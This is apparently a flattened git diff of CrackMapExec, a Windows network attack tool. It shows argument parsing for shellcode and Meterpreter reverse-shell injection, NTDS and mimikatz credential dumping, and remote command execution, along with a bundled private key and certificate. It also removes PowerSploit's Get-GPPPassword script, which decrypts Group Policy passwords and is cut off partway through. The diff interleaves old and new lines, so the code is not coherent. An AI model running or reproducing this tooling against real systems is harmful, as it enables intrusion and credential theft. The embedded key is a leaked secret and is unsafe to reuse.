egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
|
||||
egroup.add_argument("--sessions", action='store_true', dest='enum_sessions', help='Enumerate active sessions')
|
||||
egroup.add_argument('--disks', action='store_true', dest='enum_disks', help='Enumerate disks')
|
||||
egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enumerate users')
|
||||
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)')
|
||||
egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
|
||||
egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy')
|
||||
egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users')
|
||||
egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command')
|
||||
egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query')
|
||||
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', dest='wmi_namespace', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')
|
||||
|
||||
sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
|
||||
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (defaults to top level directory)')
|
||||
sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
|
||||
sgroup.add_argument("--content", dest='search_content', action='store_true', help='Enable file content searching')
|
||||
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', dest='exclude_dirs', help='Directories to exclude from spidering')
|
||||
sgroup.add_argument("--pattern", type=str, help='Pattern to search for in folders, filenames and file content')
|
||||
sgroup.add_argument("--patternfile", type=str, help='File containing patterns to search for in folders, filenames and file content')
|
||||
esgroup = sgroup.add_mutually_exclusive_group()
|
||||
esgroup.add_argument("--pattern", type=str, help='Pattern to search for in folders, filenames and file content')
|
||||
esgroup.add_argument("--regex", type=str, help='Regex to search for in folders, filenames and file content')
|
||||
sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')
|
||||
|
||||
cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
|
||||
cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)")
|
||||
cgroup.add_argument('--ps-arch', default='auto', choices={'32', '64', 'auto'}, help='Process architecture all PowerShell code/commands should run in (default: auto)')
|
||||
cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default="wmiexec", help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
|
||||
cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
|
||||
cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output')
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command')
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Execute the specified PowerShell command')
|
||||
|
||||
xgroup = parser.add_argument_group("Shellcode/EXE/DLL/Meterpreter Injection", "Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell")
|
||||
xgroup.add_argument("--inject", choices={'shellcode', 'exe', 'dll', 'met_reverse_https', 'met_reverse_http'}, help='Inject Shellcode, EXE, DLL or Meterpreter')
|
||||
xgroup.add_argument("--path", type=str, help='Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)')
|
||||
xgroup.add_argument('--procid', type=int, help='Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)')
|
||||
xgroup.add_argument("--exeargs", type=str, help='Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)')
|
||||
xgroup.add_argument("--met-options", nargs=2, metavar=('LHOST', 'LPORT'), dest='met_options', help='Meterpreter options (ignored if not injecting Meterpreter)')
|
||||
|
||||
bgroup = parser.add_argument_group("Filesystem Interaction", "Options for interacting with filesystems")
|
||||
bgroup.add_argument("--list", metavar='PATH', nargs='?', const='.', type=str, help='List contents of a directory (defaults to top level directory)')
|
||||
bgroup.add_argument("--download", nargs=2, metavar=('SRC', 'DST'), help="Download a file from the remote systems")
|
||||
bgroup.add_argument("--upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the remote systems")
|
||||
bgroup.add_argument("--delete", metavar="PATH", help="Delete a remote file")
|
||||
|
||||
wgroup = parser.add_argument_group("Service Interaction", "Options for interacting with Windows services")
|
||||
wgroup.add_argument("--service", choices={'list', 'start', 'stop', 'delete', 'status', 'config', 'create', 'change'})
|
||||
wgroup.add_argument("--name", dest='service_name', metavar='NAME', help='Service name')
|
||||
wgroup.add_argument("--display", dest='service_display_name', metavar='NAME', help='Service display name')
|
||||
wgroup.add_argument("--bin-path", dest='service_bin_path', metavar='PATH', help='Binary path')
|
||||
wgroup.add_argument("--service-type", metavar='TYPE', help='Service type')
|
||||
wgroup.add_argument("--start-type", metavar='TYPE', help='Service start type')
|
||||
wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account under which the service should run')
|
||||
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
|
||||
|
||||
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
|
||||
mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service')
|
||||
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
|
||||
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
|
||||
mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
|
||||
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
patterns = []
|
||||
module = None
|
||||
server = None
|
||||
context = None
|
||||
targets = []
|
||||
server_port_dict = {'http': 80, 'https': 443}
|
||||
|
||||
if args.server == 'http':
|
||||
if args.server_port:
|
||||
args.http_port = args.server_port
|
||||
else:
|
||||
args.server_port = 80
|
||||
|
||||
if args.server == 'https':
|
||||
if args.server_port:
|
||||
args.https_port = args.server_port
|
||||
else:
|
||||
args.server_port = 443
|
||||
|
||||
init_args(args)
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.verbose:
|
||||
setup_logger('_'.join(args.target), DEBUG)
|
||||
else:
|
||||
setup_logger('_'.join(args.target))
|
||||
setup_debug_logger()
|
||||
|
||||
###################### Just a bunch of error checking to make sure everythings good to go ######################
|
||||
logger = CMEAdapter(setup_logger())
|
||||
|
||||
if args.inject:
|
||||
if not args.inject.startswith('met_'):
|
||||
if not args.path:
|
||||
print_error("You must specify a '--path' to the Shellcode/EXE/DLL to inject")
|
||||
shutdown(1)
|
||||
if os.geteuid() is not 0:
|
||||
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getpass.getuser()))
|
||||
sys.exit(1)
|
||||
|
||||
elif args.path:
|
||||
if not os.path.exists(args.path):
|
||||
print_error('Unable to find Shellcode/EXE/DLL at specified path')
|
||||
shutdown(1)
|
||||
if not args.server_port:
|
||||
args.server_port = server_port_dict[args.server]
|
||||
|
||||
elif args.inject.startswith('met_'):
|
||||
if not args.met_options:
|
||||
print_error("You must specify Meterpreter's handler options using '--met-options'" )
|
||||
shutdown(1)
|
||||
|
||||
if args.spider:
|
||||
|
||||
if not args.pattern and not args.patternfile:
|
||||
print_error("You must specify a --pattern or --patternfile")
|
||||
shutdown(1)
|
||||
|
||||
if args.patternfile:
|
||||
if not os.path.exists(args.patternfile):
|
||||
print_error("Unable to find pattern file at specified path")
|
||||
shutdown(1)
|
||||
|
||||
for line in args.patternfile.readlines():
|
||||
line = line.rstrip()
|
||||
patterns.append(re.compile(line, re.IGNORECASE))
|
||||
|
||||
patterns.extend(re.compile(patt, re.IGNORECASE) for patt in args.pattern.split(','))
|
||||
|
||||
args.pattern = patterns
|
||||
args.exclude_dirs = args.exclude_dirs.split(',')
|
||||
|
||||
if args.combo_file and not os.path.exists(args.combo_file):
|
||||
print_error('Unable to find combo file at specified path')
|
||||
shutdown(1)
|
||||
|
||||
if args.service:
|
||||
if args.service in ['start', 'stop', 'delete', 'status', 'config', 'change']:
|
||||
if not args.service_name:
|
||||
print_error('You must specify a --name')
|
||||
shutdown(1)
|
||||
|
||||
elif args.service == 'create':
|
||||
if not args.service_name or not args.service_display_name or not args.service_bin_path:
|
||||
print_error('You must specify --name, --display and --bin-path')
|
||||
shutdown(1)
|
||||
|
||||
if args.ntds_history or args.ntds_pwdLastSet:
|
||||
if not args.ntds:
|
||||
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
|
||||
shutdown(1)
|
||||
|
||||
################################################################################################################
|
||||
|
||||
def populate_targets(target):
|
||||
if '-' in target:
|
||||
ip_range = target.split('-')
|
||||
try:
|
||||
hosts = IPRange(ip_range[0], ip_range[1])
|
||||
except AddrFormatError:
|
||||
# set the database connection to autocommit w/ isolation level
|
||||
db_connection = sqlite3.connect('data/cme.db', check_same_thread=False)
|
||||
db_connection.text_factory = str
|
||||
db_connection.isolation_level = None
|
||||
db = CMEDatabase(db_connection)
|
||||
except Exception as e:
|
||||
logger.error("Could not connect to CME database: {}".format(e))
|
||||
sys.exit(1)
|
||||
|
||||
if args.cred_id:
|
||||
try:
|
||||
start_ip = IPAddress(ip_range[0])
|
||||
c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
|
||||
args.username = [username]
|
||||
|
||||
start_ip_words = list(start_ip.words)
|
||||
start_ip_words[-1] = ip_range[1]
|
||||
start_ip_words = [str(v) for v in start_ip_words]
|
||||
|
||||
end_ip = IPAddress('.'.join(start_ip_words))
|
||||
|
||||
t = IPRange(start_ip, end_ip)
|
||||
except AddrFormatError:
|
||||
t = target
|
||||
if not args.domain:
|
||||
args.domain = domain
|
||||
if credtype == 'hash':
|
||||
args.hash = [password]
|
||||
elif credtype == 'plaintext':
|
||||
args.password = [password]
|
||||
except IndexError:
|
||||
logger.error("Invalid database credential ID!")
|
||||
sys.exit(1)
|
||||
else:
|
||||
try:
|
||||
t = IPNetwork(target)
|
||||
except AddrFormatError:
|
||||
t = target
|
||||
for user, passw, ntlm_hash in zip(args.username, args.password, args.hash):
|
||||
if os.path.exists(user):
|
||||
args.username.remove(user)
|
||||
args.username.append(open(user, 'r'))
|
||||
|
||||
if type(t) == IPNetwork or type(t) == IPRange:
|
||||
targets.extend(list(t))
|
||||
if os.path.exists(passw):
|
||||
args.password.remove(passw)
|
||||
args.password.append(open(passw, 'r'))
|
||||
|
||||
if os.path.exists(ntlm_hash):
|
||||
args.hash.remove(ntlm_hash)
|
||||
args.hash.append(open(ntlm_hash, 'r'))
|
||||
|
||||
if args.module:
|
||||
if not os.path.exists(args.module):
|
||||
logger.error('Path to module invalid!')
|
||||
sys.exit(1)
|
||||
else:
|
||||
targets.append(t)
|
||||
module = imp.load_source('payload_module', args.module).CMEModule()
|
||||
if not hasattr(module, 'name'):
|
||||
logger.error('Module missing the name variable!')
|
||||
sys.exit(1)
|
||||
|
||||
elif not hasattr(module, 'options'):
|
||||
logger.error('Module missing the options function!')
|
||||
sys.exit(1)
|
||||
|
||||
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
||||
logger.error('Module missing the on_login/on_admin_login function(s)!')
|
||||
sys.exit(1)
|
||||
|
||||
if args.module_info:
|
||||
logger.info('{} module description:'.format(module.name))
|
||||
print module.__doc__
|
||||
logger.info('{} module options:'.format(module.name))
|
||||
print module.options.__doc__
|
||||
sys.exit(0)
|
||||
|
||||
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
|
||||
context = Context(db, module_logger, args)
|
||||
|
||||
module_options = {}
|
||||
|
||||
for option in args.module_options:
|
||||
key, value = option.split('=')
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
module.options(context, module_options)
|
||||
|
||||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||
server = CMEServer(module, context, args.server_port, args.server)
|
||||
server.start()
|
||||
|
||||
for target in args.target:
|
||||
if os.path.exists(target):
|
||||
with open(target, 'r') as target_file:
|
||||
for target_entry in target_file:
|
||||
populate_targets(target_entry)
|
||||
targets.extend(parse_targets(target_entry))
|
||||
else:
|
||||
populate_targets(target)
|
||||
targets.extend(parse_targets(target))
|
||||
|
||||
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
|
||||
if args.server == 'http':
|
||||
http_server(args.server_port)
|
||||
|
||||
elif args.server == 'https':
|
||||
https_server(args.server_port)
|
||||
|
||||
def concurrency(targets):
|
||||
try:
|
||||
'''
|
||||
Open all the greenlet (as supposed to redlet??) threads
|
||||
Whoever came up with that name has a fetish for traffic lights
|
||||
'''
|
||||
try:
|
||||
pool = Pool(args.threads)
|
||||
jobs = [pool.spawn(main_greenlet, str(target)) for target in targets]
|
||||
jobs = [pool.spawn(connector, str(target), args, db, module, context, server) for target in targets]
|
||||
|
||||
#Dumping the NTDS.DIT can take a long time, so we ignore the thread timeout
|
||||
if args.ntds:
|
||||
joinall(jobs)
|
||||
elif not args.ntds:
|
||||
for job in jobs:
|
||||
job.join(timeout=args.timeout)
|
||||
except KeyboardInterrupt:
|
||||
shutdown(0)
|
||||
pass
|
||||
|
||||
concurrency(targets)
|
||||
if server:
|
||||
server.shutdown()
|
||||
|
||||
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
|
||||
try:
|
||||
while True:
|
||||
sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
shutdown(0)
|
||||
logger.info('KTHXBYE!')
|
|
@ -0,0 +1 @@
|
|||
Subproject commit 2a813faedb853d8043446c6d0cad2119ecd62d61
|
|
@ -0,0 +1,46 @@
|
|||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRddJMuw1pbSLy
|
||||
KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E
|
||||
jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t
|
||||
13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj
|
||||
kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je
|
||||
0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M
|
||||
p8g0TllbAgMBAAECggEAW2NeuB+8wEzfvGyhob8LD0cL0etOkKc4KVgyjcMKHdj3
|
||||
M89cIxbwKNH6TbsCgZZjKC7ktfHRja7/xFGjdzIGY93MZ7jo+rOgVpnTPG3l4shE
|
||||
px/RFG+AnNCMbsNulUks867Qp0QcSHBhsxqaNKsrawh1VoYpmPWWld4yhNNbq2TA
|
||||
fUHk9vTwUAXVxpZmJ2pg3nWQUTEhOBrwX6walEiMKabZkjmTF9MF4OddNpM0zD/v
|
||||
O7shtESW1uHt6fY06YFQe7GELWNRu+YuPbNGkCX8Tw5izEnEI0q2sFKYaRzxnujF
|
||||
gfQ+tn/ZdQeG7yZb4GTOPRX21figOrDgIwHerRMBIQKBgQDqKKNlSvJpqyWkvWwH
|
||||
SWlVyf8pTTAv5YvopYWodW5YCD2mY1HU56umVyP2jjZuZPUsb6kYUptiyOklYoI4
|
||||
jxMfe/pVlhmDlxcLk8yJOuc5Li4vk2YdJN0IQQTB+0bseRA7FsAQIThSGdxZRv+H
|
||||
OuaCMh63X53ohUwIbW8G2r2vwwKBgQDk/2t263gnIbHL2DVZiQnC0qUU4IO1fVqw
|
||||
vVs47TF44gkdm6bZ2C856SWGly6rgPfFxUrf8TaP15BwmbVziOOhDxEIgqncMBCy
|
||||
fSbZ0L+wFNXONsgdBwg0qLZSPNDQnWOZVNigKrcOVCQsfazDVLktsRRdTCmWtcmj
|
||||
ilNUlMzuiQKBgQDKUvDUDg0ldqchEDbumOT2JoJd+n7/c7UPAS5a35THZd93DGxh
|
||||
rQeow7SkTj8D5iHeEmEmTgJLOdQR5GsmWaGpW6NzHi3PgNZ9v2hEzuuJgbiQjSj3
|
||||
V6nQfvWQcwDWRMjcdYzgowOaFRRK48jY3PDdYFcgFPNJPRv0UDJV1t19pwKBgCW9
|
||||
lsd9nUrNudC/rGM6O5qZPs3HBs31f+na+1rRdLLYheoUShZjE712mFGrPuzTD4LP
|
||||
tjxcM8LXIx37pzUIXYOgyQzfBAGfBlF0YN/LEJyDgo0+6BIoo4iSOaIqFbwcBFsz
|
||||
6ZPUFmFNKr0OZVe38eD+6z1JHR2Sjk3esUciUvgJAoGBAK+eVKX7Sc2+jXOG8/do
|
||||
gacP/F1QCt3mZbuuovcRAJ0kU1MsBbMk00OSBJSy5P+QqNiCF3jyIDq+quuQnlij
|
||||
euhgEhXlLBrDbYSprlBfkPXd753iPzioZPRQ9hepIHKVWXAH6qWrkdrcYLCexW6k
|
||||
aq0AHaojuhZXj/dC8baWMy05
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIC7TCCAdWgAwIBAgIJAKY3+4SmEM9uMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
|
||||
BAYTAlVTMB4XDTE2MDMxNjA2NTMyMFoXDTE3MDMxNjA2NTMyMFowDTELMAkGA1UE
|
||||
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRddJMuw1pbSLy
|
||||
KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E
|
||||
jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t
|
||||
13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj
|
||||
kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je
|
||||
0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M
|
||||
p8g0TllbAgMBAAGjUDBOMB0GA1UdDgQWBBT1PkNBmPYUiKBCwLbxkkM6HciCUDAf
|
||||
BgNVHSMEGDAWgBT1PkNBmPYUiKBCwLbxkkM6HciCUDAMBgNVHRMEBTADAQH/MA0G
|
||||
CSqGSIb3DQEBCwUAA4IBAQCU7SAcL2MMmSavS/TT2R0X2kDjgSzBUwOV01I8hML+
|
||||
zP5Ik4EbUtDzd+j4ebf8MtX+vYWA12ajfF6odIi66fsXsRhVCDMjSCYbrR6b0bAP
|
||||
r9VdILYW0dB5HrWvGKrGr/63G2bsIoF1mGvMZwSy2T1K1sJsfcUqHv5yu5ZHIpEh
|
||||
7aPYZPCpu2jOQbMEjtnoS6HBx5JVvsdcnMWD8xTI0eok3B71cBiU+yaKCCGi0hgZ
|
||||
tSf8B+78lgcg5Nfpz52uPnWB5amzxAakaGd7CrzUV7iZlw066x+w+EeotfKfFH2H
|
||||
rkXO/Fi5+LxVXTd5NFN+Zz2LUt6zTldIMKrG76yiy3qa
|
||||
-----END CERTIFICATE-----
|
|
@ -1,3 +0,0 @@
|
|||
*
|
||||
!.gitignore
|
||||
!*.ps1
|
|
@ -1,223 +0,0 @@
|
|||
function Get-CHANGE_ME_HERE {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
PowerSploit Function: Get-GPPPassword
|
||||
Author: Chris Campbell (@obscuresec)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:28:53}
|
||||
Passwords : {password12}
|
||||
UserNames : {test1}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
|
||||
|
||||
NewName : {mspresenters}
|
||||
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
|
||||
Passwords : {Recycling*3ftw!, password123, password1234}
|
||||
UserNames : {Administrator (built-in), DummyAccount, dummy2}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
|
||||
Passwords : {password, password1234$}
|
||||
UserNames : {administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
|
||||
|
||||
NewName : [BLANK]
|
||||
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
|
||||
Passwords : {password, read123}
|
||||
UserNames : {DEMO\Administrator, admin}
|
||||
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
|
||||
|
||||
password
|
||||
password12
|
||||
password123
|
||||
password1234
|
||||
password1234$
|
||||
read123
|
||||
Recycling*3ftw!
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
|
||||
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
|
||||
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
Param ()
|
||||
|
||||
#Some XML issues between versions
|
||||
Set-StrictMode -Version 2
|
||||
|
||||
#define helper function that decodes and decrypts password
|
||||
function Get-DecryptedCpassword {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
[string] $Cpassword
|
||||
)
|
||||
|
||||
try {
|
||||
#Append appropriate padding based on string length
|
||||
$Mod = ($Cpassword.length % 4)
|
||||
|
||||
switch ($Mod) {
|
||||
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
|
||||
'2' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
'3' {$Cpassword += ('=' * (4 - $Mod))}
|
||||
}
|
||||
|
||||
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
|
||||
|
||||
#Create a new AES .NET Crypto Object
|
||||
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
|
||||
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
|
||||
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
|
||||
|
||||
#Set IV to all nulls to prevent dynamic generation of IV value
|
||||
$AesIV = New-Object Byte[]($AesObject.IV.Length)
|
||||
$AesObject.IV = $AesIV
|
||||
$AesObject.Key = $AesKey
|
||||
$DecryptorObject = $AesObject.CreateDecryptor()
|
||||
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
|
||||
|
||||
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
#define helper function to parse fields from xml files
|
||||
function Get-GPPInnerFields {
|
||||
[CmdletBinding()]
|
||||
Param (
|
||||
$File
|
||||
)
|
||||
|
||||
try {
|
||||
|
||||
$Filename = Split-Path $File -Leaf
|
||||
[xml] $Xml = Get-Content ($File)
|
||||
|
||||
#declare empty arrays
|
||||
$Cpassword = @()
|
||||
$UserName = @()
|
||||
$NewName = @()
|
||||
$Changed = @()
|
||||
$Password = @()
|
||||
|
||||
#check for password field
|
||||
if ($Xml.innerxml -like "*cpassword*"){
|
||||
|
||||
Write-Verbose "Potential password in $File"
|
||||
|
||||
switch ($Filename) {
|
||||
|
||||
'Groups.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Services.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Scheduledtasks.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'DataSources.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Printers.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
|
||||
'Drives.xml' {
|
||||
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($Pass in $Cpassword) {
|
||||
Write-Verbose "Decrypting $Pass"
|
||||
$DecryptedPassword = Get-DecryptedCpassword $Pass
|
||||
Write-Verbose "Decrypted a password of $DecryptedPassword"
|
||||
#append any new passwords to array
|
||||
$Password += , $DecryptedPassword
|
||||
}
|
||||
|
||||
#put [BLANK] in variables
|
||||
if (!($Password)) {$Password = '[BLANK]'}
|
||||
if (!($UserName)) {$UserName = '[BLANK]'}
|
||||
if (!($Changed)) {$Changed = '[BLANK]'}
|
||||
if (!($NewName)) {$NewName = '[BLANK]'}
|
||||
|
||||
#Create custom object to output results
|
||||
$ObjectProperties = @{'Passwords' = $Password;
|
||||
'UserNames' = $UserName;
|
||||
'Changed' = $Changed;
|
||||
'NewName' = $NewName;
|
||||
'File' = $File}
|
||||
|
||||
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||
Write-Verbose "The password is between {} and may be more than one value."
|
||||
if ($ResultsObject) {Return $ResultsObject}
|
||||
}
|
||||
|
||||
catch {Write-Error $Error[0]}
|
||||
}
|
||||
|
||||
try {
|
||||
#ensure that machine is domain joined and script is running as a domain account
|
||||
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
|
||||
